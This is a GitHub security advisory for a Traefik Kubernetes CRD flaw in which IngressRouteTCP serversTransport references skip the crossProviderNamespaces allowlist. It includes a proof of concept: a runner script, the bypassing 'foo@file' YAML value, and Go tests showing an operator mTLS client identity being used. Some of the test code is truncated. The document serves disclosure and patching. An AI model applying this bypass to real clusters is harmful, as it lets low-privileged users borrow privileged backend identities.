GitHub Advisoryadvisory · Go
GHSA-42cj-m3vj-89wv Traefik CRD IngressRouteTCP ServersTransport Cross-Provider Namespace Bypass
MEDIUM
Official page ↗
- Aliases
- CVE-2026-65602
- Ecosystem
- Go
- Packages
- github.com/traefik/traefik/v3
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
- Weaknesses
- CWE-863
- Reviewed
- 2026-08-05
Affected packages
• Go github.com/traefik/traefik/v3: >= 3.6.0, < 3.6.23 → fixed in 3.6.23
• Go github.com/traefik/traefik/v3: >= 3.7.0, < 3.7.7 → fixed in 3.7.7
Description
Summary
There is a medium-severity cross-provider reference vulnerability in Traefik's Kubernetes CRD provider. The `crossProviderNamespaces` allowlist is enforced for HTTP `serversTransport` references but was not enforced for `IngressRouteTCP` service `serversTransport` references. A low-privileged Kubernetes user in a namespace that is not listed in `crossProviderNamespaces` could set `serversTransport: foo@file` on an `IngressRouteTCP` service, causing Traefik to accept the forbidden cross-provider reference and use the file-provider `TCPServersTransport` — including privileged backend mTLS client certificates, SPIFFE identity, or PROXY-protocol settings. The fix applies the `crossProviderNamespaces` allowlist to TCP `serversTransport` references.
Patches
• https://github.com/traefik/traefik/releases/tag/v3.6.23
• https://github.com/traefik/traefik/releases/tag/v3.7.7
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description
Summary
Traefik's Kubernetes CRD provider enforces `crossProviderNamespaces` for several
cross-provider references, but `IngressRouteTCP` service
`serversTransport` references skip that allowlist. A low-privileged Kubernetes
user in a namespace that is not listed in `crossProviderNamespaces` can still
set `serversTransport: foo@file` on an `IngressRouteTCP` service. Traefik
accepts the forbidden cross-provider reference and later uses the referenced
`TCPServersTransport`, including privileged backend mTLS client certificates,
SPIFFE identity, or PROXY protocol settings.
Description
`crossProviderNamespaces` is documented and implemented as an allowlist for
namespaces that may declare cross-provider references from Kubernetes CRD
objects. HTTP `serversTransport` references enforce that allowlist. TCP
`serversTransport` references do not.
An attacker with low Kubernetes privileges in namespace `default` can create an
`IngressRouteTCP` service with:
```yaml
serversTransport: foo@file
```
Even when the provider is configured with:
```yaml
crossProviderNamespaces:
• operator-only
```
Traefik still emits a TCP dynamic service whose load balancer points to
`foo@file`. At runtime, `DialerManager.Build()` uses the exact referenced
transport name and applies that transport's TLS client certificates and related
backend-connection settings.
Impact
The PoC demonstrates two positive facts:
1. A namespace outside `crossProviderNamespaces` can cause Traefik to accept and
store `LoadBalancer.ServersTransport = "foo@file"` from an
`IngressRouteTCP` service.
2. A qualified `foo@file` `TCPServersTransport` with a client certificate is
actually consumed by the TCP dialer and presented to an mTLS backend.
This proves a backend identity relay primitive: a lower-privileged CRD author
can make Traefik connect to a backend using an operator-defined cross-provider
transport identity that the namespace should not be allowed to reference.
Proof Of Concept
Files
• `run.sh`: portable runner.
• `poc_crd_test.go`: positive CRD provider proof.
• `with_servers_transport_cross_provider_poc.yml`: minimal
`IngressRouteTCP` fixture.
• `poc_tcp_mtls_test.go`: positive runtime mTLS identity-use proof.
run.sh
```bash
!/usr/bin/env sh
set -eu
TARGET_REF="${TARGET_REF:-v3.7.5}"
REPO_URL="${REPO_URL:-https://github.com/traefik/traefik.git}"
SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"
WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-tcp-st-poc.XXXXXX")}"
if [ "${KEEP_WORKDIR:-0}" != "1" ]; then
trap 'rm -rf "$WORKDIR"' EXIT INT TERM
fi
echo "[*] target_ref=$TARGET_REF"
echo "[*] workdir=$WORKDIR"
if [ -n "${TRAEFIK_SRC:-}" ]; then
echo "[*] cloning from local source: $TRAEFIK_SRC"
git clone -q "$TRAEFIK_SRC" "$WORKDIR/traefik"
cd "$WORKDIR/traefik"
git -c advice.detachedHead=false checkout -q "$TARGET_REF"
else
echo "[*] cloning from remote: $REPO_URL"
git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGET_REF" "$REPO_URL" "$WORKDIR/traefik"
cd "$WORKDIR/traefik"
fi
mkdir -p pkg/provider/kubernetes/crd/fixtures/tcp
cp "$SCRIPT_DIR/poc_crd_test.go" \
pkg/provider/kubernetes/crd/tcp_serverstransport_cross_provider_poc_test.go
cp "$SCRIPT_DIR/with_servers_transport_cross_provider_poc.yml" \
pkg/provider/kubernetes/crd/fixtures/tcp/with_servers_transport_cross_provider_poc.yml
cp "$SCRIPT_DIR/poc_tcp_mtls_test.go" \
pkg/tcp/dialer_cross_provider_identity_poc_test.go
echo "[*] running CRD provider policy-bypass PoC"
go test ./pkg/provider/kubernetes/crd \
-run '^TestPoCTCPServersTransportCrossProviderNamespacesBypass$' \
-count=1 -v
echo "[*] running TCPServersTransport mTLS identity-use PoC"
go test ./pkg/tcp \
-run '^TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity$' \
-count=1 -v
echo "POC_RESULT=PASS"
```
poc_crd_test.go
```go
package crd
import (
"testing"
"github.com/stretchr/testify/require"
traefikcrdfake "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/generated/clientset/versioned/fake"
kubefake "k8s.io/client-go/kubernetes/fake"
)
func TestPoCTCPServersTransportCrossProviderNamespacesBypass(t *testing.T) {
k8sObjects, crdObjects := readResources(t, []string{
"tcp/services.yml",
"tcp/with_servers_transport_cross_provider_poc.yml",
})
kubeClient := kubefake.NewClientset(k8sObjects...)
crdClient := traefikcrdfake.NewClientset(crdObjects...)
client := newClientImpl(kubeClient, crdClient)
stopCh := make(chan struct{})
defer close(stopCh)
eventCh, err := client.WatchAll(nil, stopCh)
require.NoError(t, err)
poc_tcp_mtls_test.go
```go
package tcp
import (
"crypto/rand"
"crypto/rsa"
"crypto/tls"
"crypto/x509"
"crypto/x509/pkix"
"encoding/pem"
"fmt"
"io"
"math/big"
"net"
"testing"
"time"
"github.com/stretchr/testify/require"
"github.com/traefik/traefik/v3/pkg/config/dynamic"
traefiktls "github.com/traefik/traefik/v3/pkg/tls"
"github.com/traefik/traefik/v3/pkg/types"
)
func TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity(t *testing.T) {
pki := newPoCPKI(t)
dialerManager := NewDialerManager(nil)
dialerManager.Update(map[string]*dynamic.TCPServersTransport{
"foo@file": {
TLS: &dynamic.TLSClientConfig{
ServerName: "example.com",
RootCAs: []types.FileOrContent{types.FileOrContent(pki.caCertPEM)},
Certificates: traefiktls.Certificates{
traefiktls.Certificate{
CertFile: types.FileOrContent(pki.clientCertPEM),
KeyFile: types.FileOrContent(pki.clientKeyPEM),
},
},
},
},
})
backendAddr, peerCN, done, closeBackend := newPoCMTLSBackend(t, pki)
defer closeBackend()
dialer, err := dialerManager.Build(&dynamic.TCPServersLoadBalancer{ServersTransport: "foo@file"}, true)
require.NoError(t, err)
conn, err := dialer.Dial("tcp", backendAddr, nil)
require.NoError(t, err)
defer conn.Close()
_, err = conn.Write([]byte("ping"))
require.NoError(t, err)
buf := make([]byte, 4)
_, err = io.ReadFull(conn, buf)
require.NoError(t, err)
require.Equal(t, "PONG", str…
Related
Alias · CVE (1)
- CVE-2026-65602 Traefik 3.6.0 through 3.6.22 and 3.7.0 through 3.7.6 fail to enforce the crossProviderNamespaces allowlist for IngressRouteTCP service… vulnerability
Weakness · CWE (1)
- CWE-863 Incorrect Authorization weakness
References
- https://github.com/traefik/traefik/security/advisories/GHSA-42cj-m3vj-89wv web
- https://nvd.nist.gov/vuln/detail/CVE-2026-65602 advisory
- https://github.com/traefik/traefik/pull/13458 web
- https://github.com/traefik/traefik/commit/67501cbe7bc7774e26ecbd1c29af97f098e14b0b web
- https://github.com/traefik/traefik package
- https://github.com/traefik/traefik/releases/tag/v3.6.23 web
- https://github.com/traefik/traefik/releases/tag/v3.7.7 web
- https://www.vulncheck.com/advisories/traefik-before-ingressroutetcp-serverstransport-namespace-bypass web